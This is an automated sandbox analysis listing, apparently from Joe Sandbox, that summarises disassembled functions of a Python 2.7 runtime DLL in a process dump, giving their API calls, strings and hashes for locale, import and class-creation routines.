_PyUnicodeUCS2_IsDecimalDigit.PYTHON27(?), ref: 6C0B4264
_PyUnicodeUCS2_IsDigit.PYTHON27(?), ref: 6C0B4271
_PyUnicodeUCS2_IsNumeric.PYTHON27(?), ref: 6C0B427E
_PyUnicodeUCS2_IsAlpha.PYTHON27 ref: 6C0B42A5
_PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 6C0B42B2
_PyUnicodeUCS2_IsDigit.PYTHON27 ref: 6C0B42BF
_PyUnicodeUCS2_IsNumeric.PYTHON27 ref: 6C0B42CC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$Digit$AlphaDecimalNumericisalnum
String ID:
API String ID: 2555583657-0
Opcode ID: cfbc462bda73f8c89e600a6a430524a516448aa26ecf056068e06880aeb7d2ca
Instruction ID: 4f1cb55d14c0a86b225c4e5dad0f58fd1e51cfaae8efeca1af13c72b748dafb3
Opcode Fuzzy Hash: cfbc462bda73f8c89e600a6a430524a516448aa26ecf056068e06880aeb7d2ca
Instruction Fuzzy Hash: 02B19F96F0453113D300D6BA6C8139AB3F49B4431DF688A36E999E3E41F737E6C4A282

Function 6C0AFDD0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 6C0AFDE4
PyOS_snprintf.PYTHON27(?,00000064,cp%d,00000000), ref: 6C0AFDF9
GetLocaleInfoA.KERNEL32(00000400,00000059,?,00000064), ref: 6C0AFE14
GetLocaleInfoA.KERNEL32(00000400,0000005A,0000005F,00000064), ref: 6C0AFE43
GetLocaleInfoA.KERNEL32(00000400,00000009,?,00000062), ref: 6C0AFE70
Py_BuildValue.PYTHON27(6C1EC53C,00000030,?), ref: 6C0AFE8D

Strings

0, xrefs: 6C0AFE68
cp%d, xrefs: 6C0AFDEB
x, xrefs: 6C0AFE6C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: InfoLocale$BuildS_snprintfValue
String ID: 0$cp%d$x
API String ID: 2137356293-3685427448
Opcode ID: bb157227a5bf07ad8d16daeb03f1832307bf2735594b11cc36930e958e8de2a7
Instruction ID: d1bd22f8a95ab860cf6df63d5d51b54edf34023b600151c94ce068f9d46ab225
Opcode Fuzzy Hash: bb157227a5bf07ad8d16daeb03f1832307bf2735594b11cc36930e958e8de2a7
Instruction Fuzzy Hash: F3219270A01309AAFB00DBE8CC15FBE7BBC9B09708F004555EA05EB5C2E6755609CBA1

Function 6C1E8908 Relevance: 10.6, APIs: 7, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C1E90A9
_crt_debugger_hook.MSVCR90(00000001), ref: 6C1E90B6
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C1E90BE
UnhandledExceptionFilter.KERNEL32(6C1EA540), ref: 6C1E90C9
_crt_debugger_hook.MSVCR90(00000001), ref: 6C1E90DA
GetCurrentProcess.KERNEL32(C0000409), ref: 6C1E90E5
TerminateProcess.KERNEL32(00000000), ref: 6C1E90EC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled_crt_debugger_hook$CurrentDebuggerPresentTerminate
String ID:
API String ID: 3369434319-0
Opcode ID: 2676a9907731413ef1f0578a10b0183fe2e9c456f13216c6644a48b2ca10c5fc
Instruction ID: 38b6015201deec76c751b4f972ff8bf33400033fb375947c914598886c2c4ec0
Opcode Fuzzy Hash: 2676a9907731413ef1f0578a10b0183fe2e9c456f13216c6644a48b2ca10c5fc
Instruction Fuzzy Hash: BA21DBB8A013099FDF50DFA9C48AAC53BF8FB2A355F50901AE819C7B50E7B09980CF05

Function 6C188DF0 Relevance: 6.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

APIs

PyErr_NoMemory.PYTHON27(?), ref: 6C188E35
PyString_FromStringAndSize.PYTHON27(?,00000014,?,?), ref: 6C188F3B
_PyString_Resize.PYTHON27(?,00000000,?,?), ref: 6C188F69

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$Err_FromMemoryResizeSizeString
String ID:
API String ID: 3221442098-0
Opcode ID: 5e86aa0fb2d8b86a046bf9ff287f5da7f1e0b385870964819a7ef8118e5a1361
Instruction ID: 7a6e9cbea21cef8238020c417f002bce7f73618394a15e7da607e912c4e4bae0
Opcode Fuzzy Hash: 5e86aa0fb2d8b86a046bf9ff287f5da7f1e0b385870964819a7ef8118e5a1361
Instruction Fuzzy Hash: 39413631B062054BEB088A6CCC903BD7365DB85314F0807AFDD1AABBC1DB748945CAA1

Function 6C0AF6B0 Relevance: 94.9, APIs: 36, Strings: 18, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyDict_New.PYTHON27 ref: 6C0AF6B1

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

localeconv.MSVCR90 ref: 6C0AF6C0
PyString_FromString.PYTHON27(00000000), ref: 6C0AF6CB
PyDict_SetItemString.PYTHON27(00000000,decimal_point,00000000), ref: 6C0AF6E4
PyString_FromString.PYTHON27(?), ref: 6C0AF701
PyDict_SetItemString.PYTHON27(00000000,thousands_sep,00000000), ref: 6C0AF71A
PyDict_SetItemString.PYTHON27(00000000,grouping,00000000), ref: 6C0AF74C
PyString_FromString.PYTHON27(?), ref: 6C0AF769
PyDict_SetItemString.PYTHON27(00000000,int_curr_symbol,00000000), ref: 6C0AF782
PyString_FromString.PYTHON27(?), ref: 6C0AF79F
PyDict_SetItemString.PYTHON27(00000000,currency_symbol,00000000), ref: 6C0AF7B8
PyString_FromString.PYTHON27(?), ref: 6C0AF7D5

Strings

mon_thousands_sep, xrefs: 6C0AF81E
grouping, xrefs: 6C0AF746
n_cs_precedes, xrefs: 6C0AF9CF
positive_sign, xrefs: 6C0AF886
p_cs_precedes, xrefs: 6C0AF961
negative_sign, xrefs: 6C0AF8BC
int_curr_symbol, xrefs: 6C0AF77C
decimal_point, xrefs: 6C0AF6DE
mon_decimal_point, xrefs: 6C0AF7E8
n_sign_posn, xrefs: 6C0AFA94
n_sep_by_space, xrefs: 6C0AFA02
thousands_sep, xrefs: 6C0AF714
p_sign_posn, xrefs: 6C0AFA35
p_sep_by_space, xrefs: 6C0AF998
frac_digits, xrefs: 6C0AF92A
mon_grouping, xrefs: 6C0AF850
currency_symbol, xrefs: 6C0AF7B2
int_frac_digits, xrefs: 6C0AF8F3

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Dict_FromString_$Item$localeconv
String ID: currency_symbol$decimal_point$frac_digits$grouping$int_curr_symbol$int_frac_digits$mon_decimal_point$mon_grouping$mon_thousands_sep$n_cs_precedes$n_sep_by_space$n_sign_posn$negative_sign$p_cs_precedes$p_sep_by_space$p_sign_posn$positive_sign$thousands_sep
API String ID: 3913525369-2270419579
Opcode ID: f4a47671e38f9673e2728d502f1257217b6b2ffa9e05c4bc5a8860165879b056
Instruction ID: f8de57368ae098403760a07093f6d56fb846458018a84f37a5c9dd39c3754c30
Opcode Fuzzy Hash: f4a47671e38f9673e2728d502f1257217b6b2ffa9e05c4bc5a8860165879b056
Instruction Fuzzy Hash: 80B1E5F2C0191157C2109BE4AC80EEB36E85F5563CB294728EC695BB42E729EE47C7D2

Function 6C139940 Relevance: 68.6, APIs: 27, Strings: 12, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyString_FromString.PYTHON27(__doc__), ref: 6C13995A
PyString_InternInPlace.PYTHON27(?), ref: 6C13996F
PyString_FromString.PYTHON27(__module__), ref: 6C139996
PyString_InternInPlace.PYTHON27(?), ref: 6C1399AB
PyString_FromString.PYTHON27(__name__), ref: 6C1399D2
PyString_InternInPlace.PYTHON27(?), ref: 6C1399E7
PyDict_GetItem.PYTHON27(?,?), ref: 6C139A3E
PyDict_SetItem.PYTHON27(?,?,?), ref: 6C139A56
PyDict_GetItem.PYTHON27(?,?), ref: 6C139A6E
PyEval_GetGlobals.PYTHON27 ref: 6C139A7A
PyDict_GetItem.PYTHON27(00000000,?), ref: 6C139A8B
PyDict_SetItem.PYTHON27(?,?,00000000), ref: 6C139A9F
_PyObject_GC_NewVar.PYTHON27(?,00000000), ref: 6C139ACF
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C139AFD
PyErr_SetString.PYTHON27(6C2E48B0,PyClass_New: bases must be a tuple), ref: 6C139B43
PyTuple_Size.PYTHON27(?), ref: 6C139B55
PyString_InternFromString.PYTHON27(__getattr__), ref: 6C139B97
PyString_InternFromString.PYTHON27(__setattr__), ref: 6C139BAD
PyString_InternFromString.PYTHON27(__delattr__), ref: 6C139BC3
_PyObject_GC_New.PYTHON27(?), ref: 6C139BD9
PyCallable_Check.PYTHON27(6C2E9BF8), ref: 6C139C09
PyObject_CallFunctionObjArgs.PYTHON27(6C2E9BF8,?,?,?,00000000), ref: 6C139C21

Strings

PyClass_New: name must be a string, xrefs: 6C139D25
__getattr__, xrefs: 6C139B92
P&0l, xrefs: 6C139B12, 6C139B1B, 6C139B23, 6C139CE3, 6C139CEC, 6C139CF3
__setattr__, xrefs: 6C139BA8
PyClass_New: bases must be a tuple, xrefs: 6C139B3D
__name__, xrefs: 6C1399CD
__delattr__, xrefs: 6C139BBE
__module__, xrefs: 6C139991
PyClass_New: dict must be a dictionary, xrefs: 6C139D08
PyClass_New: base must be a class, xrefs: 6C139C36
GC object already tracked, xrefs: 6C139AF8, 6C139CC9
__doc__, xrefs: 6C139955

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$String$FromIntern$Dict_Item$Object_Place$ArgsCallCallable_CheckErr_ErrorEval_FatalFunctionGlobalsSizeTuple_
String ID: GC object already tracked$P&0l$PyClass_New: base must be a class$PyClass_New: bases must be a tuple$PyClass_New: dict must be a dictionary$PyClass_New: name must be a string$__delattr__$__doc__$__getattr__$__module__$__name__$__setattr__
API String ID: 1439401794-2799471392
Opcode ID: f4cb0490027b453044a0df25b93941a350d35edac8ea082e635b94f15e23c5e5
Instruction ID: 79f3d86e8589dd582da27b2cde2d24e5e3f2ef55bbb4ff5431970e9755cf8e89
Opcode Fuzzy Hash: f4cb0490027b453044a0df25b93941a350d35edac8ea082e635b94f15e23c5e5
Instruction Fuzzy Hash: 51B1D4B1A003129FEB10DF65E851A6773B8EB5521CF144629E82D87F41EB35E419CBE1

Function 6C1C95A0 Relevance: 59.8, APIs: 23, Strings: 11, Instructions: 292
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyString_InternFromString.PYTHON27(__name__,00000000,6C1CA352,?,?,6C1C936C,?,?), ref: 6C1C95DD

Part of subcall function 6C176990: PyString_FromString.PYTHON27(?,?,?,6C1C9624,__package__,00000000,6C1CA352,?,?,6C1C936C,?,?), ref: 6C176998

PyString_InternFromString.PYTHON27(__path__,00000000,6C1CA352,?,?,6C1C936C,?,?), ref: 6C1C9600
PyString_InternFromString.PYTHON27(__package__,00000000,6C1CA352,?,?,6C1C936C,?,?), ref: 6C1C961F
PyDict_GetItem.PYTHON27(?,?,00000000,6C1CA352,?,?,6C1C936C,?,?), ref: 6C1C963E
PyErr_SetString.PYTHON27(6C2E5D10,Module name too long,?,?,?,?,?,?,?), ref: 6C1C9670
PyErr_SetString.PYTHON27(6C2E5D10,Attempted relative import in non-package,?), ref: 6C1C969B
PyErr_SetString.PYTHON27(6C2E5D10,Package name too long,?), ref: 6C1C96BF
PyDict_GetItem.PYTHON27(?,?,?), ref: 6C1C96EC
PyDict_GetItem.PYTHON27(?,?,?,?,?), ref: 6C1C9716
PyDict_SetItem.PYTHON27(?,?,00000000,?,?,?,?,?), ref: 6C1C9753
PyErr_SetString.PYTHON27(6C2E5D10,Could not set __package__,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1C976F
strrchr.MSVCR90 ref: 6C1C9785
PyDict_SetItem.PYTHON27(?,?,?,?,?,?,?,?,?,?), ref: 6C1C97AE
memcpy.MSVCR90(00000000,-00000014,00000000,?,?,?,?,?,?,?), ref: 6C1C97D8
PyString_FromString.PYTHON27(00000000,00000000,-00000014,00000000,?,?,?,?,?,?,?), ref: 6C1C97E2
PyDict_SetItem.PYTHON27(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1C9800
strrchr.MSVCR90 ref: 6C1C9833
PyImport_GetModuleDict.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1C985F
PyDict_GetItemString.PYTHON27(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1C9866
PyString_FromFormat.PYTHON27(Parent module '%.200s' not found while handling absolute import,00000000), ref: 6C1C9884
PyString_AsString.PYTHON27(00000000,00000001), ref: 6C1C9899
PyErr_WarnEx.PYTHON27(6C2E6D98,00000000,00000001), ref: 6C1C98A9
PyErr_Format.PYTHON27(6C2E65C8,Parent module '%.200s' not loaded, cannot perform relative import,00000000), ref: 6C1C98EF

Strings

Parent module '%.200s' not found while handling absolute import, xrefs: 6C1C987F
Package name too long, xrefs: 6C1C96B9
Attempted relative import in non-package, xrefs: 6C1C9695, 6C1C9797
__name__, xrefs: 6C1C95D8
__path__, xrefs: 6C1C95FB
__package__, xrefs: 6C1C961A
Could not set __package__, xrefs: 6C1C9769
__package__ set to non-string, xrefs: 6C1C9665
Parent module '%.200s' not loaded, cannot perform relative import, xrefs: 6C1C98E9
Module name too long, xrefs: 6C1C972B
Attempted relative import beyond toplevel package, xrefs: 6C1C98DA

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Dict_ItemString_$Err_From$Intern$Formatstrrchr$DictImport_ModuleWarnmemcpy
String ID: Attempted relative import beyond toplevel package$Attempted relative import in non-package$Could not set __package__$Module name too long$Package name too long$Parent module '%.200s' not found while handling absolute import$Parent module '%.200s' not loaded, cannot perform relative import$__name__$__package__$__package__ set to non-string$__path__
API String ID: 2025534777-3665187588
Opcode ID: 77a84333dcc5741cfaa631993b315f92cde0f823477fe80980c61913e398a943
Instruction ID: 2cd5e7f66a96d23b84bee9d4c4bd7482ab115cfbd24767809c83ed0ab1b76200
Opcode Fuzzy Hash: 77a84333dcc5741cfaa631993b315f92cde0f823477fe80980c61913e398a943
Instruction Fuzzy Hash: 5D912975B013159BDB108E65ADA4B9733A8AB3531CF144668FC08DBB41EB3DD819C7E2

Function 6C14E130 Relevance: 56.3, APIs: 29, Strings: 3, Instructions: 298
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Py_FatalError.PYTHON27(PyEval_SaveThread: NULL tstate), ref: 6C14E181
InterlockedDecrement.KERNEL32(?), ref: 6C14E19C
SetEvent.KERNEL32(00000000), ref: 6C14E1AA
memset.MSVCR90 ref: 6C14E1BF
fgets.MSVCR90 ref: 6C14E1CD
Py_FatalError.PYTHON27(PyEval_RestoreThread: NULL tstate), ref: 6C14E1EA
_errno.MSVCR90 ref: 6C14E1FB
InterlockedIncrement.KERNEL32(?), ref: 6C14E219
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 6C14E22F
GetCurrentThreadId.KERNEL32 ref: 6C14E235
_errno.MSVCR90 ref: 6C14E244
memchr.MSVCR90 ref: 6C14E273
clearerr.MSVCR90(?), ref: 6C14E2A8
PyErr_CheckSignals.PYTHON27 ref: 6C14E2B1
PyString_FromStringAndSize.PYTHON27(?,?), ref: 6C14E2CA

Strings

PyEval_RestoreThread: NULL tstate, xrefs: 6C14E1E5, 6C14E3B6
PyEval_SaveThread: NULL tstate, xrefs: 6C14E17C
line is longer than a Python string can hold, xrefs: 6C14E4F6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalInterlocked_errno$CheckCurrentDecrementErr_EventFromIncrementObjectSignalsSingleSizeStringString_ThreadWaitclearerrfgetsmemchrmemset
String ID: PyEval_RestoreThread: NULL tstate$PyEval_SaveThread: NULL tstate$line is longer than a Python string can hold
API String ID: 642221721-73556018
Opcode ID: 5117787e23c1939dfb30e7cf56dd154f16784e76e0e2fc029c7caf1f666c2af1
Instruction ID: 24dc7b230830290af9c63f8e30900805c7f9dfb4bd360241888ed93dbc1459fc
Opcode Fuzzy Hash: 5117787e23c1939dfb30e7cf56dd154f16784e76e0e2fc029c7caf1f666c2af1
Instruction Fuzzy Hash: 54B17E70A00219DBDB20DF69CC84BDABBB4AF49318F0441A9E909E7741EB359B85CF91

Function 6C0AFEB0 Relevance: 56.2, APIs: 20, Strings: 12, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Py_InitModule4.PYTHON27(_locale,6C30B3F0,00000000,00000000,000003F5), ref: 6C0AFEC3
PyModule_GetDict.PYTHON27(00000000), ref: 6C0AFED6

Part of subcall function 6C165170: PyType_IsSubtype.PYTHON27(F08BFC45,?,00000000,?,?,6C155195,00000000), ref: 6C16518B
Part of subcall function 6C165170: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\moduleobject.c,00000032,6C155195,00000000), ref: 6C1651A9

PyInt_FromLong.PYTHON27(00000002,00000000), ref: 6C0AFEDF
PyDict_SetItemString.PYTHON27(00000000,LC_CTYPE,00000000,00000002,00000000), ref: 6C0AFEED

Part of subcall function 6C147460: PyString_FromString.PYTHON27(00000000,?,?,6C1650D7,00000000,__name__,00000000,?,00000014,?,6C1CDEB4), ref: 6C147468

PyInt_FromLong.PYTHON27(00000005), ref: 6C0AFF0C
PyDict_SetItemString.PYTHON27(00000000,LC_TIME,00000000,00000005), ref: 6C0AFF1A
PyInt_FromLong.PYTHON27(00000001), ref: 6C0AFF39
PyDict_SetItemString.PYTHON27(00000000,LC_COLLATE,00000000,00000001), ref: 6C0AFF47
PyInt_FromLong.PYTHON27(00000003), ref: 6C0AFF66
PyDict_SetItemString.PYTHON27(00000000,LC_MONETARY,00000000,00000003), ref: 6C0AFF74
PyInt_FromLong.PYTHON27(00000004), ref: 6C0AFF93
PyDict_SetItemString.PYTHON27(00000000,LC_NUMERIC,00000000,00000004), ref: 6C0AFFA1
PyInt_FromLong.PYTHON27(00000000), ref: 6C0AFFC0
PyDict_SetItemString.PYTHON27(00000000,LC_ALL,00000000,00000000), ref: 6C0AFFCE
PyInt_FromLong.PYTHON27(0000007F), ref: 6C0AFFED
PyDict_SetItemString.PYTHON27(00000000,CHAR_MAX,00000000,0000007F), ref: 6C0AFFFB
PyErr_NewException.PYTHON27(locale.Error,00000000,00000000), ref: 6C0B0021
PyDict_SetItemString.PYTHON27(00000000,Error,00000000,locale.Error,00000000,00000000), ref: 6C0B0032
PyString_FromString.PYTHON27(Support for POSIX locales.,00000000,Error,00000000,locale.Error,00000000,00000000), ref: 6C0B003C
PyDict_SetItemString.PYTHON27(00000000,__doc__,00000000,Support for POSIX locales.,00000000,Error,00000000,locale.Error,00000000,00000000), ref: 6C0B004A

Strings

locale.Error, xrefs: 6C0B001C
_locale, xrefs: 6C0AFEBE
LC_CTYPE, xrefs: 6C0AFEE7
LC_NUMERIC, xrefs: 6C0AFF9B
LC_COLLATE, xrefs: 6C0AFF41
CHAR_MAX, xrefs: 6C0AFFF5
LC_ALL, xrefs: 6C0AFFC8
LC_MONETARY, xrefs: 6C0AFF6E
Error, xrefs: 6C0B0027
Support for POSIX locales., xrefs: 6C0B0037
LC_TIME, xrefs: 6C0AFF14
__doc__, xrefs: 6C0B0044

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Dict_FromItem$Int_Long$Err_String_$DictExceptionFormatInitModule4Module_SubtypeType_
String ID: CHAR_MAX$Error$LC_ALL$LC_COLLATE$LC_CTYPE$LC_MONETARY$LC_NUMERIC$LC_TIME$Support for POSIX locales.$__doc__$_locale$locale.Error
API String ID: 215864015-3707555184
Opcode ID: 1c50c4d10922a24c286356cb068f1b70fa253a7582d1527b6aa9c68032743b26
Instruction ID: 0adf63f053764457a98c4a22a7af9129c079a6341ae02225c8fec406e5de8ba7
Opcode Fuzzy Hash: 1c50c4d10922a24c286356cb068f1b70fa253a7582d1527b6aa9c68032743b26
Instruction Fuzzy Hash: AD41A7B2940A02A7D20066A45C01FBB76E59FD673CF244714F93856BC2EB39D917C6D2

Function 6C0AE6F0 Relevance: 52.9, APIs: 26, Strings: 4, Instructions: 420
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyString_FromString.PYTHON27(6C1EC2B4,?,000000FE,?,?,?,6C0AE485,?,?,000000FE,?,?,?), ref: 6C0AE728
PyString_InternInPlace.PYTHON27(?,?,?,?,6C0AE485,?,?,000000FE,?,?,?), ref: 6C0AE73F
PyString_FromString.PYTHON27(6C1EC2B8,?,?,?,?,6C0AE485,?,?,000000FE,?,?,?), ref: 6C0AE754
PyString_InternInPlace.PYTHON27(?,?,?,?,?,?,6C0AE485,?,?,000000FE,?,?,?), ref: 6C0AE76B
PyString_FromString.PYTHON27(6C1EC2BC,?,?,?,?,?,?,6C0AE485,?,?,000000FE,?,?,?), ref: 6C0AE780
PyString_InternInPlace.PYTHON27(?,?,?,?,?,?,?,?,6C0AE485,?,?,000000FE,?,?,?), ref: 6C0AE797
